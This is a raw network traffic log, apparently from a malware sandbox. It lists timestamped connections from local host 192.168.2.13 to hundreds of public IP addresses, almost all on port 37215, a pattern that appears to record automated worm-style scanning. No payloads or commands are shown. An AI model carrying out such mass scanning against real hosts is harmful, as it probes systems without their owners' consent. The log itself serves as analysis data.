Dec 30, 2024 11:58:11.576792955 CET	14099	37215	192.168.2.13	41.218.178.100
Dec 30, 2024 11:58:11.576797009 CET	14099	37215	192.168.2.13	156.186.66.50
Dec 30, 2024 11:58:11.576803923 CET	37215	14099	197.43.1.164	192.168.2.13
Dec 30, 2024 11:58:11.576812983 CET	37215	14099	156.53.162.243	192.168.2.13
Dec 30, 2024 11:58:11.576816082 CET	14099	37215	192.168.2.13	41.231.223.28
Dec 30, 2024 11:58:11.576816082 CET	14099	37215	192.168.2.13	41.188.39.1
Dec 30, 2024 11:58:11.576822996 CET	37215	14099	156.108.245.110	192.168.2.13
Dec 30, 2024 11:58:11.576829910 CET	14099	37215	192.168.2.13	41.187.142.116
Dec 30, 2024 11:58:11.576831102 CET	14099	37215	192.168.2.13	197.132.251.138
Dec 30, 2024 11:58:11.576839924 CET	37215	14099	197.72.104.216	192.168.2.13
Dec 30, 2024 11:58:11.576841116 CET	14099	37215	192.168.2.13	156.53.162.243
Dec 30, 2024 11:58:11.576848984 CET	14099	37215	192.168.2.13	197.43.1.164
Dec 30, 2024 11:58:11.576848984 CET	14099	37215	192.168.2.13	156.108.245.110
Dec 30, 2024 11:58:11.576850891 CET	37215	14099	197.93.70.197	192.168.2.13
Dec 30, 2024 11:58:11.576860905 CET	37215	14099	197.196.113.187	192.168.2.13
Dec 30, 2024 11:58:11.576870918 CET	37215	14099	41.200.28.128	192.168.2.13
Dec 30, 2024 11:58:11.576872110 CET	14099	37215	192.168.2.13	197.72.104.216
Dec 30, 2024 11:58:11.576880932 CET	37215	14099	197.223.24.123	192.168.2.13
Dec 30, 2024 11:58:11.576889992 CET	37215	14099	156.139.105.161	192.168.2.13
Dec 30, 2024 11:58:11.576894045 CET	14099	37215	192.168.2.13	197.93.70.197
Dec 30, 2024 11:58:11.576894045 CET	14099	37215	192.168.2.13	197.196.113.187
Dec 30, 2024 11:58:11.576900005 CET	37215	14099	156.3.80.60	192.168.2.13
Dec 30, 2024 11:58:11.576908112 CET	14099	37215	192.168.2.13	41.200.28.128
Dec 30, 2024 11:58:11.576908112 CET	14099	37215	192.168.2.13	197.223.24.123
Dec 30, 2024 11:58:11.576910973 CET	37215	14099	41.228.201.126	192.168.2.13
Dec 30, 2024 11:58:11.576920986 CET	37215	14099	156.66.56.74	192.168.2.13
Dec 30, 2024 11:58:11.576926947 CET	14099	37215	192.168.2.13	156.139.105.161
Dec 30, 2024 11:58:11.576936007 CET	14099	37215	192.168.2.13	156.3.80.60
Dec 30, 2024 11:58:11.576958895 CET	37215	14099	197.28.95.174	192.168.2.13
Dec 30, 2024 11:58:11.576967001 CET	14099	37215	192.168.2.13	41.228.201.126
Dec 30, 2024 11:58:11.576970100 CET	37215	14099	197.63.147.24	192.168.2.13
Dec 30, 2024 11:58:11.576975107 CET	14099	37215	192.168.2.13	156.66.56.74
Dec 30, 2024 11:58:11.576982021 CET	37215	14099	197.61.26.99	192.168.2.13
Dec 30, 2024 11:58:11.576992989 CET	37215	14099	156.199.200.143	192.168.2.13
Dec 30, 2024 11:58:11.576994896 CET	14099	37215	192.168.2.13	197.28.95.174
Dec 30, 2024 11:58:11.577007055 CET	14099	37215	192.168.2.13	197.63.147.24
Dec 30, 2024 11:58:11.577013969 CET	14099	37215	192.168.2.13	197.61.26.99
Dec 30, 2024 11:58:11.577023029 CET	14099	37215	192.168.2.13	156.199.200.143
Dec 30, 2024 11:58:11.577101946 CET	37215	14099	197.2.69.23	192.168.2.13
Dec 30, 2024 11:58:11.577114105 CET	37215	14099	156.154.202.176	192.168.2.13
Dec 30, 2024 11:58:11.577124119 CET	37215	14099	41.171.237.33	192.168.2.13
Dec 30, 2024 11:58:11.577128887 CET	37215	14099	156.51.18.181	192.168.2.13
Dec 30, 2024 11:58:11.577132940 CET	37215	14099	41.83.243.128	192.168.2.13
Dec 30, 2024 11:58:11.577150106 CET	14099	37215	192.168.2.13	197.2.69.23
Dec 30, 2024 11:58:11.577150106 CET	37215	14099	156.201.88.17	192.168.2.13
Dec 30, 2024 11:58:11.577157021 CET	14099	37215	192.168.2.13	156.154.202.176
Dec 30, 2024 11:58:11.577162027 CET	37215	14099	41.104.21.171	192.168.2.13
Dec 30, 2024 11:58:11.577166080 CET	14099	37215	192.168.2.13	41.171.237.33
Dec 30, 2024 11:58:11.577167988 CET	14099	37215	192.168.2.13	156.51.18.181
Dec 30, 2024 11:58:11.577169895 CET	14099	37215	192.168.2.13	41.83.243.128
Dec 30, 2024 11:58:11.577172041 CET	37215	14099	156.116.28.72	192.168.2.13
Dec 30, 2024 11:58:11.577181101 CET	37215	14099	197.182.167.87	192.168.2.13
Dec 30, 2024 11:58:11.577184916 CET	14099	37215	192.168.2.13	156.201.88.17
Dec 30, 2024 11:58:11.577192068 CET	37215	14099	156.99.13.184	192.168.2.13
Dec 30, 2024 11:58:11.577202082 CET	37215	14099	197.148.129.45	192.168.2.13
Dec 30, 2024 11:58:11.577203989 CET	14099	37215	192.168.2.13	156.116.28.72
Dec 30, 2024 11:58:11.577204943 CET	14099	37215	192.168.2.13	41.104.21.171
Dec 30, 2024 11:58:11.577210903 CET	37215	14099	41.230.218.173	192.168.2.13
Dec 30, 2024 11:58:11.577223063 CET	37215	14099	156.166.196.173	192.168.2.13
Dec 30, 2024 11:58:11.577230930 CET	14099	37215	192.168.2.13	197.182.167.87
Dec 30, 2024 11:58:11.577233076 CET	37215	14099	197.250.39.231	192.168.2.13
Dec 30, 2024 11:58:11.577234983 CET	14099	37215	192.168.2.13	156.99.13.184
Dec 30, 2024 11:58:11.577235937 CET	14099	37215	192.168.2.13	197.148.129.45
Dec 30, 2024 11:58:11.577244043 CET	37215	14099	41.248.130.188	192.168.2.13
Dec 30, 2024 11:58:11.577248096 CET	14099	37215	192.168.2.13	41.230.218.173
Dec 30, 2024 11:58:11.577249050 CET	37215	14099	156.239.171.221	192.168.2.13
Dec 30, 2024 11:58:11.577254057 CET	37215	14099	197.23.171.152	192.168.2.13
Dec 30, 2024 11:58:11.577264071 CET	37215	14099	41.237.247.180	192.168.2.13
Dec 30, 2024 11:58:11.577274084 CET	37215	14099	197.112.65.67	192.168.2.13
Dec 30, 2024 11:58:11.577277899 CET	14099	37215	192.168.2.13	197.250.39.231
Dec 30, 2024 11:58:11.577280998 CET	14099	37215	192.168.2.13	156.166.196.173
Dec 30, 2024 11:58:11.577284098 CET	14099	37215	192.168.2.13	41.248.130.188
Dec 30, 2024 11:58:11.577286005 CET	37215	14099	41.230.220.228	192.168.2.13
Dec 30, 2024 11:58:11.577286005 CET	14099	37215	192.168.2.13	156.239.171.221
Dec 30, 2024 11:58:11.577286959 CET	14099	37215	192.168.2.13	197.23.171.152
Dec 30, 2024 11:58:11.577297926 CET	37215	14099	197.22.235.69	192.168.2.13
Dec 30, 2024 11:58:11.577308893 CET	14099	37215	192.168.2.13	41.237.247.180
Dec 30, 2024 11:58:11.577308893 CET	14099	37215	192.168.2.13	197.112.65.67
Dec 30, 2024 11:58:11.577308893 CET	37215	14099	156.69.237.193	192.168.2.13
Dec 30, 2024 11:58:11.577315092 CET	14099	37215	192.168.2.13	41.230.220.228
Dec 30, 2024 11:58:11.577320099 CET	37215	14099	197.136.234.246	192.168.2.13
Dec 30, 2024 11:58:11.577332020 CET	37215	14099	156.181.162.157	192.168.2.13
Dec 30, 2024 11:58:11.577346087 CET	14099	37215	192.168.2.13	197.22.235.69
Dec 30, 2024 11:58:11.577348948 CET	14099	37215	192.168.2.13	156.69.237.193
Dec 30, 2024 11:58:11.577368975 CET	14099	37215	192.168.2.13	197.136.234.246
Dec 30, 2024 11:58:11.577368975 CET	14099	37215	192.168.2.13	156.181.162.157
Dec 30, 2024 11:58:11.577406883 CET	37215	14099	156.197.63.233	192.168.2.13
Dec 30, 2024 11:58:11.577418089 CET	37215	14099	197.70.104.147	192.168.2.13
Dec 30, 2024 11:58:11.577423096 CET	37215	14099	41.62.205.32	192.168.2.13
Dec 30, 2024 11:58:11.577435017 CET	37215	14099	41.240.221.54	192.168.2.13
Dec 30, 2024 11:58:11.577444077 CET	37215	14099	156.65.99.194	192.168.2.13
Dec 30, 2024 11:58:11.577447891 CET	14099	37215	192.168.2.13	197.70.104.147
Dec 30, 2024 11:58:11.577451944 CET	14099	37215	192.168.2.13	41.62.205.32
Dec 30, 2024 11:58:11.577455044 CET	14099	37215	192.168.2.13	156.197.63.233
Dec 30, 2024 11:58:11.577455997 CET	37215	14099	156.92.180.16	192.168.2.13
Dec 30, 2024 11:58:11.577464104 CET	14099	37215	192.168.2.13	41.240.221.54
Dec 30, 2024 11:58:11.577466965 CET	37215	14099	156.22.86.187	192.168.2.13
Dec 30, 2024 11:58:11.577471018 CET	14099	37215	192.168.2.13	156.65.99.194
Dec 30, 2024 11:58:11.577471018 CET	37215	14099	156.93.200.148	192.168.2.13
Dec 30, 2024 11:58:11.577512980 CET	14099	37215	192.168.2.13	156.22.86.187
Dec 30, 2024 11:58:11.577513933 CET	14099	37215	192.168.2.13	156.92.180.16
Dec 30, 2024 11:58:11.577513933 CET	14099	37215	192.168.2.13	156.93.200.148
Dec 30, 2024 11:58:11.577522039 CET	37215	14099	41.53.156.42	192.168.2.13
Dec 30, 2024 11:58:11.577533960 CET	37215	14099	156.6.218.156	192.168.2.13
Dec 30, 2024 11:58:11.577543974 CET	37215	14099	41.197.121.50	192.168.2.13
Dec 30, 2024 11:58:11.577553034 CET	37215	14099	197.168.113.246	192.168.2.13
Dec 30, 2024 11:58:11.577562094 CET	37215	14099	41.181.170.231	192.168.2.13
Dec 30, 2024 11:58:11.577565908 CET	37215	14099	41.232.12.46	192.168.2.13
Dec 30, 2024 11:58:11.577570915 CET	37215	14099	41.147.137.218	192.168.2.13
Dec 30, 2024 11:58:11.577573061 CET	14099	37215	192.168.2.13	156.6.218.156
Dec 30, 2024 11:58:11.577574015 CET	14099	37215	192.168.2.13	41.53.156.42
Dec 30, 2024 11:58:11.577574015 CET	14099	37215	192.168.2.13	41.197.121.50
Dec 30, 2024 11:58:11.577580929 CET	37215	14099	41.9.45.108	192.168.2.13
Dec 30, 2024 11:58:11.577589035 CET	14099	37215	192.168.2.13	41.181.170.231
Dec 30, 2024 11:58:11.577590942 CET	37215	14099	41.49.42.131	192.168.2.13
Dec 30, 2024 11:58:11.577600002 CET	37215	14099	41.172.92.65	192.168.2.13
Dec 30, 2024 11:58:11.577601910 CET	14099	37215	192.168.2.13	41.232.12.46
Dec 30, 2024 11:58:11.577604055 CET	14099	37215	192.168.2.13	41.147.137.218
Dec 30, 2024 11:58:11.577604055 CET	14099	37215	192.168.2.13	197.168.113.246
Dec 30, 2024 11:58:11.577610970 CET	37215	14099	197.243.203.90	192.168.2.13
Dec 30, 2024 11:58:11.577615023 CET	14099	37215	192.168.2.13	41.9.45.108
Dec 30, 2024 11:58:11.577620983 CET	37215	14099	41.226.53.58	192.168.2.13
Dec 30, 2024 11:58:11.577626944 CET	14099	37215	192.168.2.13	41.49.42.131
Dec 30, 2024 11:58:11.577631950 CET	37215	14099	197.197.191.136	192.168.2.13
Dec 30, 2024 11:58:11.577641964 CET	37215	14099	156.111.201.192	192.168.2.13
Dec 30, 2024 11:58:11.577642918 CET	14099	37215	192.168.2.13	197.243.203.90
Dec 30, 2024 11:58:11.577647924 CET	14099	37215	192.168.2.13	41.172.92.65
Dec 30, 2024 11:58:11.577651978 CET	37215	14099	197.193.32.217	192.168.2.13
Dec 30, 2024 11:58:11.577662945 CET	37215	14099	41.74.234.78	192.168.2.13
Dec 30, 2024 11:58:11.577672958 CET	37215	14099	156.33.89.11	192.168.2.13
Dec 30, 2024 11:58:11.577682972 CET	37215	14099	41.226.163.250	192.168.2.13
Dec 30, 2024 11:58:11.577692032 CET	37215	14099	41.192.2.92	192.168.2.13
Dec 30, 2024 11:58:11.577702999 CET	37215	14099	41.68.130.204	192.168.2.13
Dec 30, 2024 11:58:11.577846050 CET	14099	37215	192.168.2.13	41.74.234.78
Dec 30, 2024 11:58:11.577847958 CET	14099	37215	192.168.2.13	41.68.130.204
Dec 30, 2024 11:58:11.577852964 CET	51628	37215	192.168.2.13	197.249.88.69
Dec 30, 2024 11:58:11.577852964 CET	14099	37215	192.168.2.13	156.33.89.11
Dec 30, 2024 11:58:11.577853918 CET	14099	37215	192.168.2.13	41.226.163.250
Dec 30, 2024 11:58:11.577855110 CET	14099	37215	192.168.2.13	41.192.2.92
Dec 30, 2024 11:58:11.577881098 CET	14099	37215	192.168.2.13	197.197.191.136
Dec 30, 2024 11:58:11.577881098 CET	14099	37215	192.168.2.13	197.193.32.217
Dec 30, 2024 11:58:11.577884912 CET	14099	37215	192.168.2.13	41.226.53.58
Dec 30, 2024 11:58:11.577884912 CET	14099	37215	192.168.2.13	156.111.201.192
Dec 30, 2024 11:58:11.577931881 CET	37215	14099	156.118.64.151	192.168.2.13
Dec 30, 2024 11:58:11.577943087 CET	37215	14099	156.26.21.0	192.168.2.13
Dec 30, 2024 11:58:11.577951908 CET	37215	14099	41.2.183.208	192.168.2.13
Dec 30, 2024 11:58:11.577963114 CET	37215	14099	156.136.135.26	192.168.2.13
Dec 30, 2024 11:58:11.577971935 CET	37215	14099	197.239.29.199	192.168.2.13
Dec 30, 2024 11:58:11.577980042 CET	37215	14099	156.15.16.16	192.168.2.13
Dec 30, 2024 11:58:11.577986002 CET	14099	37215	192.168.2.13	156.26.21.0
Dec 30, 2024 11:58:11.577991009 CET	37215	14099	156.209.250.65	192.168.2.13
Dec 30, 2024 11:58:11.577996016 CET	14099	37215	192.168.2.13	156.118.64.151
Dec 30, 2024 11:58:11.577996016 CET	14099	37215	192.168.2.13	156.136.135.26
Dec 30, 2024 11:58:11.578001022 CET	37215	14099	197.195.188.190	192.168.2.13
Dec 30, 2024 11:58:11.578006029 CET	14099	37215	192.168.2.13	41.2.183.208
Dec 30, 2024 11:58:11.578006029 CET	14099	37215	192.168.2.13	197.239.29.199
Dec 30, 2024 11:58:11.578011990 CET	37215	14099	197.248.86.58	192.168.2.13
Dec 30, 2024 11:58:11.578022003 CET	37215	14099	41.211.106.92	192.168.2.13
Dec 30, 2024 11:58:11.578026056 CET	37215	14099	41.94.158.179	192.168.2.13
Dec 30, 2024 11:58:11.578030109 CET	37215	14099	197.138.162.164	192.168.2.13
Dec 30, 2024 11:58:11.578028917 CET	14099	37215	192.168.2.13	156.15.16.16
Dec 30, 2024 11:58:11.578033924 CET	37215	14099	197.36.81.246	192.168.2.13
Dec 30, 2024 11:58:11.578039885 CET	14099	37215	192.168.2.13	197.195.188.190
Dec 30, 2024 11:58:11.578042030 CET	14099	37215	192.168.2.13	156.209.250.65
Dec 30, 2024 11:58:11.578044891 CET	37215	14099	197.135.87.20	192.168.2.13
Dec 30, 2024 11:58:11.578049898 CET	37215	33886	197.192.128.53	192.168.2.13
Dec 30, 2024 11:58:11.578074932 CET	14099	37215	192.168.2.13	41.94.158.179
Dec 30, 2024 11:58:11.578078985 CET	37215	55888	156.191.93.237	192.168.2.13
Dec 30, 2024 11:58:11.578079939 CET	14099	37215	192.168.2.13	197.248.86.58
Dec 30, 2024 11:58:11.578094959 CET	14099	37215	192.168.2.13	41.211.106.92
Dec 30, 2024 11:58:11.578097105 CET	14099	37215	192.168.2.13	197.36.81.246
Dec 30, 2024 11:58:11.578102112 CET	14099	37215	192.168.2.13	197.135.87.20
Dec 30, 2024 11:58:11.578109026 CET	14099	37215	192.168.2.13	197.138.162.164
Dec 30, 2024 11:58:11.578119993 CET	33886	37215	192.168.2.13	197.192.128.53
Dec 30, 2024 11:58:11.578130007 CET	55888	37215	192.168.2.13	156.191.93.237
Dec 30, 2024 11:58:11.578488111 CET	37215	55036	41.55.65.172	192.168.2.13
Dec 30, 2024 11:58:11.578528881 CET	55036	37215	192.168.2.13	41.55.65.172
Dec 30, 2024 11:58:11.578668118 CET	48496	37215	192.168.2.13	41.79.84.105
Dec 30, 2024 11:58:11.579458952 CET	46786	37215	192.168.2.13	197.64.75.204
Dec 30, 2024 11:58:11.579902887 CET	37215	40162	156.18.92.110	192.168.2.13
Dec 30, 2024 11:58:11.579912901 CET	37215	35792	156.101.247.130	192.168.2.13
Dec 30, 2024 11:58:11.579955101 CET	35792	37215	192.168.2.13	156.101.247.130
Dec 30, 2024 11:58:11.579955101 CET	40162	37215	192.168.2.13	156.18.92.110
Dec 30, 2024 11:58:11.580184937 CET	42436	37215	192.168.2.13	156.169.191.215
Dec 30, 2024 11:58:11.580310106 CET	37215	45068	156.109.241.42	192.168.2.13
Dec 30, 2024 11:58:11.580351114 CET	45068	37215	192.168.2.13	156.109.241.42
Dec 30, 2024 11:58:11.581006050 CET	57416	37215	192.168.2.13	41.193.220.200
Dec 30, 2024 11:58:11.581814051 CET	47092	37215	192.168.2.13	197.98.22.62
Dec 30, 2024 11:58:11.582532883 CET	37215	55644	197.246.49.5	192.168.2.13
Dec 30, 2024 11:58:11.582575083 CET	55644	37215	192.168.2.13	197.246.49.5
Dec 30, 2024 11:58:11.582581997 CET	34342	37215	192.168.2.13	197.79.198.39
Dec 30, 2024 11:58:11.583314896 CET	54870	37215	192.168.2.13	156.116.39.200
Dec 30, 2024 11:58:11.583319902 CET	37215	51628	197.249.88.69	192.168.2.13
Dec 30, 2024 11:58:11.583360910 CET	51628	37215	192.168.2.13	197.249.88.69
Dec 30, 2024 11:58:11.583595991 CET	37215	48496	41.79.84.105	192.168.2.13
Dec 30, 2024 11:58:11.583632946 CET	48496	37215	192.168.2.13	41.79.84.105
Dec 30, 2024 11:58:11.584048986 CET	39874	37215	192.168.2.13	41.224.93.220
Dec 30, 2024 11:58:11.584742069 CET	38412	37215	192.168.2.13	197.163.40.97
Dec 30, 2024 11:58:11.585146904 CET	37215	46786	197.64.75.204	192.168.2.13
Dec 30, 2024 11:58:11.585181952 CET	46786	37215	192.168.2.13	197.64.75.204
Dec 30, 2024 11:58:11.585504055 CET	41078	37215	192.168.2.13	197.38.231.199
Dec 30, 2024 11:58:11.586021900 CET	37215	42436	156.169.191.215	192.168.2.13
Dec 30, 2024 11:58:11.586071968 CET	42436	37215	192.168.2.13	156.169.191.215
Dec 30, 2024 11:58:11.586222887 CET	43964	37215	192.168.2.13	41.74.164.208
Dec 30, 2024 11:58:11.586951017 CET	37215	57416	41.193.220.200	192.168.2.13
Dec 30, 2024 11:58:11.586970091 CET	44952	37215	192.168.2.13	197.60.116.58
Dec 30, 2024 11:58:11.586987972 CET	57416	37215	192.168.2.13	41.193.220.200
Dec 30, 2024 11:58:11.587475061 CET	37215	47092	197.98.22.62	192.168.2.13
Dec 30, 2024 11:58:11.587526083 CET	47092	37215	192.168.2.13	197.98.22.62
Dec 30, 2024 11:58:11.587585926 CET	37215	34342	197.79.198.39	192.168.2.13
Dec 30, 2024 11:58:11.587630033 CET	34342	37215	192.168.2.13	197.79.198.39
Dec 30, 2024 11:58:11.587764978 CET	37514	37215	192.168.2.13	156.247.235.165
Dec 30, 2024 11:58:11.588027954 CET	37215	54870	156.116.39.200	192.168.2.13
Dec 30, 2024 11:58:11.588063002 CET	54870	37215	192.168.2.13	156.116.39.200
Dec 30, 2024 11:58:11.588434935 CET	40526	37215	192.168.2.13	197.24.201.80
Dec 30, 2024 11:58:11.588840008 CET	37215	39874	41.224.93.220	192.168.2.13
Dec 30, 2024 11:58:11.588886023 CET	39874	37215	192.168.2.13	41.224.93.220
Dec 30, 2024 11:58:11.589107037 CET	45366	37215	192.168.2.13	41.108.183.127
Dec 30, 2024 11:58:11.589517117 CET	37215	38412	197.163.40.97	192.168.2.13
Dec 30, 2024 11:58:11.589561939 CET	38412	37215	192.168.2.13	197.163.40.97
Dec 30, 2024 11:58:11.589790106 CET	39390	37215	192.168.2.13	41.34.96.228
Dec 30, 2024 11:58:11.590264082 CET	37215	41078	197.38.231.199	192.168.2.13
Dec 30, 2024 11:58:11.590306044 CET	41078	37215	192.168.2.13	197.38.231.199
Dec 30, 2024 11:58:11.590465069 CET	53378	37215	192.168.2.13	41.214.248.109
Dec 30, 2024 11:58:11.590987921 CET	37215	43964	41.74.164.208	192.168.2.13
Dec 30, 2024 11:58:11.591036081 CET	43964	37215	192.168.2.13	41.74.164.208
Dec 30, 2024 11:58:11.591149092 CET	53256	37215	192.168.2.13	156.68.68.240
Dec 30, 2024 11:58:11.591702938 CET	37215	44952	197.60.116.58	192.168.2.13
Dec 30, 2024 11:58:11.591747046 CET	44952	37215	192.168.2.13	197.60.116.58
Dec 30, 2024 11:58:11.591875076 CET	43348	37215	192.168.2.13	156.101.11.103
Dec 30, 2024 11:58:11.592516899 CET	37215	37514	156.247.235.165	192.168.2.13
Dec 30, 2024 11:58:11.592561007 CET	37514	37215	192.168.2.13	156.247.235.165
Dec 30, 2024 11:58:11.592592955 CET	38694	37215	192.168.2.13	41.26.212.241
Dec 30, 2024 11:58:11.593162060 CET	37215	40526	197.24.201.80	192.168.2.13
Dec 30, 2024 11:58:11.593205929 CET	40526	37215	192.168.2.13	197.24.201.80
Dec 30, 2024 11:58:11.593286991 CET	58980	37215	192.168.2.13	197.124.218.69
Dec 30, 2024 11:58:11.593842983 CET	37215	45366	41.108.183.127	192.168.2.13
Dec 30, 2024 11:58:11.593885899 CET	45366	37215	192.168.2.13	41.108.183.127
Dec 30, 2024 11:58:11.594024897 CET	35340	37215	192.168.2.13	156.244.154.48
Dec 30, 2024 11:58:11.594485044 CET	37215	39390	41.34.96.228	192.168.2.13
Dec 30, 2024 11:58:11.594526052 CET	39390	37215	192.168.2.13	41.34.96.228
Dec 30, 2024 11:58:11.594727993 CET	42920	37215	192.168.2.13	41.200.70.248
Dec 30, 2024 11:58:11.595268011 CET	37215	53378	41.214.248.109	192.168.2.13
Dec 30, 2024 11:58:11.595316887 CET	53378	37215	192.168.2.13	41.214.248.109
Dec 30, 2024 11:58:11.595442057 CET	49140	37215	192.168.2.13	41.206.210.106
Dec 30, 2024 11:58:11.595874071 CET	37215	53256	156.68.68.240	192.168.2.13
Dec 30, 2024 11:58:11.595917940 CET	53256	37215	192.168.2.13	156.68.68.240
Dec 30, 2024 11:58:11.596153021 CET	37548	37215	192.168.2.13	197.142.229.57
Dec 30, 2024 11:58:11.596600056 CET	37215	43348	156.101.11.103	192.168.2.13
Dec 30, 2024 11:58:11.596646070 CET	43348	37215	192.168.2.13	156.101.11.103
Dec 30, 2024 11:58:11.596888065 CET	47588	37215	192.168.2.13	197.54.40.227
Dec 30, 2024 11:58:11.597364902 CET	37215	38694	41.26.212.241	192.168.2.13
Dec 30, 2024 11:58:11.597404003 CET	38694	37215	192.168.2.13	41.26.212.241
Dec 30, 2024 11:58:11.597604990 CET	59540	37215	192.168.2.13	41.188.197.53
Dec 30, 2024 11:58:11.598001003 CET	37215	58980	197.124.218.69	192.168.2.13
Dec 30, 2024 11:58:11.598038912 CET	58980	37215	192.168.2.13	197.124.218.69
Dec 30, 2024 11:58:11.598301888 CET	56828	37215	192.168.2.13	197.240.32.99
Dec 30, 2024 11:58:11.598830938 CET	37215	35340	156.244.154.48	192.168.2.13
Dec 30, 2024 11:58:11.598875999 CET	35340	37215	192.168.2.13	156.244.154.48
Dec 30, 2024 11:58:11.599010944 CET	56700	37215	192.168.2.13	156.21.249.218
Dec 30, 2024 11:58:11.599446058 CET	37215	42920	41.200.70.248	192.168.2.13
Dec 30, 2024 11:58:11.599490881 CET	42920	37215	192.168.2.13	41.200.70.248
Dec 30, 2024 11:58:11.599716902 CET	49356	37215	192.168.2.13	41.117.136.128
Dec 30, 2024 11:58:11.600188971 CET	37215	49140	41.206.210.106	192.168.2.13
Dec 30, 2024 11:58:11.600225925 CET	49140	37215	192.168.2.13	41.206.210.106
Dec 30, 2024 11:58:11.600439072 CET	42628	37215	192.168.2.13	197.177.99.168
Dec 30, 2024 11:58:11.600858927 CET	37215	37548	197.142.229.57	192.168.2.13
Dec 30, 2024 11:58:11.600899935 CET	37548	37215	192.168.2.13	197.142.229.57
Dec 30, 2024 11:58:11.601145029 CET	36872	37215	192.168.2.13	197.9.236.17
Dec 30, 2024 11:58:11.601618052 CET	37215	47588	197.54.40.227	192.168.2.13
Dec 30, 2024 11:58:11.601660967 CET	47588	37215	192.168.2.13	197.54.40.227
Dec 30, 2024 11:58:11.601865053 CET	34514	37215	192.168.2.13	156.192.234.226
Dec 30, 2024 11:58:11.602333069 CET	37215	59540	41.188.197.53	192.168.2.13
Dec 30, 2024 11:58:11.602375031 CET	59540	37215	192.168.2.13	41.188.197.53
Dec 30, 2024 11:58:11.602554083 CET	49452	37215	192.168.2.13	197.240.74.165
Dec 30, 2024 11:58:11.603013039 CET	37215	56828	197.240.32.99	192.168.2.13
Dec 30, 2024 11:58:11.603056908 CET	56828	37215	192.168.2.13	197.240.32.99
Dec 30, 2024 11:58:11.603239059 CET	40788	37215	192.168.2.13	156.129.228.150
Dec 30, 2024 11:58:11.603785038 CET	37215	56700	156.21.249.218	192.168.2.13
Dec 30, 2024 11:58:11.603821993 CET	56700	37215	192.168.2.13	156.21.249.218
Dec 30, 2024 11:58:11.603935957 CET	45980	37215	192.168.2.13	197.171.72.135
Dec 30, 2024 11:58:11.604490995 CET	37215	49356	41.117.136.128	192.168.2.13
Dec 30, 2024 11:58:11.604532957 CET	49356	37215	192.168.2.13	41.117.136.128
Dec 30, 2024 11:58:11.604644060 CET	39272	37215	192.168.2.13	197.61.151.147
Dec 30, 2024 11:58:11.605204105 CET	37215	42628	197.177.99.168	192.168.2.13
Dec 30, 2024 11:58:11.605243921 CET	42628	37215	192.168.2.13	197.177.99.168
Dec 30, 2024 11:58:11.605350018 CET	39874	37215	192.168.2.13	156.7.148.95
Dec 30, 2024 11:58:11.605942011 CET	37215	36872	197.9.236.17	192.168.2.13
Dec 30, 2024 11:58:11.605973005 CET	36872	37215	192.168.2.13	197.9.236.17
Dec 30, 2024 11:58:11.606089115 CET	49988	37215	192.168.2.13	156.130.26.19
Dec 30, 2024 11:58:11.606646061 CET	37215	34514	156.192.234.226	192.168.2.13
Dec 30, 2024 11:58:11.606692076 CET	34514	37215	192.168.2.13	156.192.234.226
Dec 30, 2024 11:58:11.606836081 CET	33688	37215	192.168.2.13	156.0.240.208
Dec 30, 2024 11:58:11.607295990 CET	37215	49452	197.240.74.165	192.168.2.13
Dec 30, 2024 11:58:11.607343912 CET	49452	37215	192.168.2.13	197.240.74.165
Dec 30, 2024 11:58:11.607592106 CET	49096	37215	192.168.2.13	156.209.217.158
Dec 30, 2024 11:58:11.608036995 CET	37215	40788	156.129.228.150	192.168.2.13
Dec 30, 2024 11:58:11.608082056 CET	40788	37215	192.168.2.13	156.129.228.150
Dec 30, 2024 11:58:11.608326912 CET	54742	37215	192.168.2.13	156.175.150.37
Dec 30, 2024 11:58:11.608635902 CET	37215	45980	197.171.72.135	192.168.2.13
Dec 30, 2024 11:58:11.608669996 CET	45980	37215	192.168.2.13	197.171.72.135
Dec 30, 2024 11:58:11.609105110 CET	41286	37215	192.168.2.13	197.36.89.140
Dec 30, 2024 11:58:11.609819889 CET	37215	39272	197.61.151.147	192.168.2.13
Dec 30, 2024 11:58:11.609823942 CET	53724	37215	192.168.2.13	197.211.16.173
Dec 30, 2024 11:58:11.609858990 CET	39272	37215	192.168.2.13	197.61.151.147
Dec 30, 2024 11:58:11.610555887 CET	56470	37215	192.168.2.13	41.195.253.254
Dec 30, 2024 11:58:11.611088991 CET	37215	39874	156.7.148.95	192.168.2.13
Dec 30, 2024 11:58:11.611135006 CET	39874	37215	192.168.2.13	156.7.148.95
Dec 30, 2024 11:58:11.611277103 CET	51876	37215	192.168.2.13	197.102.24.126
Dec 30, 2024 11:58:11.611598015 CET	37215	49988	156.130.26.19	192.168.2.13
Dec 30, 2024 11:58:11.611639023 CET	49988	37215	192.168.2.13	156.130.26.19
Dec 30, 2024 11:58:11.611974001 CET	36618	37215	192.168.2.13	156.220.73.34
Dec 30, 2024 11:58:11.612196922 CET	37215	33688	156.0.240.208	192.168.2.13
Dec 30, 2024 11:58:11.612235069 CET	33688	37215	192.168.2.13	156.0.240.208
Dec 30, 2024 11:58:11.612596035 CET	46304	37215	192.168.2.13	156.201.245.6
Dec 30, 2024 11:58:11.613225937 CET	53748	37215	192.168.2.13	197.195.57.53
Dec 30, 2024 11:58:11.613312006 CET	37215	49096	156.209.217.158	192.168.2.13
Dec 30, 2024 11:58:11.613353968 CET	49096	37215	192.168.2.13	156.209.217.158
Dec 30, 2024 11:58:11.613873005 CET	46758	37215	192.168.2.13	156.131.101.202
Dec 30, 2024 11:58:11.613920927 CET	37215	54742	156.175.150.37	192.168.2.13
Dec 30, 2024 11:58:11.613956928 CET	54742	37215	192.168.2.13	156.175.150.37
Dec 30, 2024 11:58:11.614504099 CET	52184	37215	192.168.2.13	156.184.181.194
Dec 30, 2024 11:58:11.614931107 CET	37215	41286	197.36.89.140	192.168.2.13
Dec 30, 2024 11:58:11.614969015 CET	41286	37215	192.168.2.13	197.36.89.140
Dec 30, 2024 11:58:11.615159035 CET	37340	37215	192.168.2.13	41.245.134.247
Dec 30, 2024 11:58:11.615605116 CET	37215	53724	197.211.16.173	192.168.2.13
Dec 30, 2024 11:58:11.615645885 CET	53724	37215	192.168.2.13	197.211.16.173
Dec 30, 2024 11:58:11.615789890 CET	58902	37215	192.168.2.13	197.39.32.108
Dec 30, 2024 11:58:11.616173029 CET	37215	56470	41.195.253.254	192.168.2.13
Dec 30, 2024 11:58:11.616211891 CET	56470	37215	192.168.2.13	41.195.253.254
Dec 30, 2024 11:58:11.616420984 CET	60702	37215	192.168.2.13	156.244.77.93
Dec 30, 2024 11:58:11.616673946 CET	37215	51876	197.102.24.126	192.168.2.13
Dec 30, 2024 11:58:11.616709948 CET	51876	37215	192.168.2.13	197.102.24.126
